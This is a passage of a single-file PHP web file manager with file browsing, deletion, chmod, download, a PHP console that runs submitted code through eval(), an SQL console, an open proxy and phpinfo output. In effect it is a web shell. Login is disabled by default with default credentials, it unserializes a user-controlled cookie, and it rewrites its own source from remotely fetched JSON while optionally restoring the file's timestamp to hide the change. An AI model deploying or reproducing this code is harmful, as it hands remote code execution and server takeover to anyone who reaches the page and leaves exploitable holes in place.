editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/fahriyzx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8ls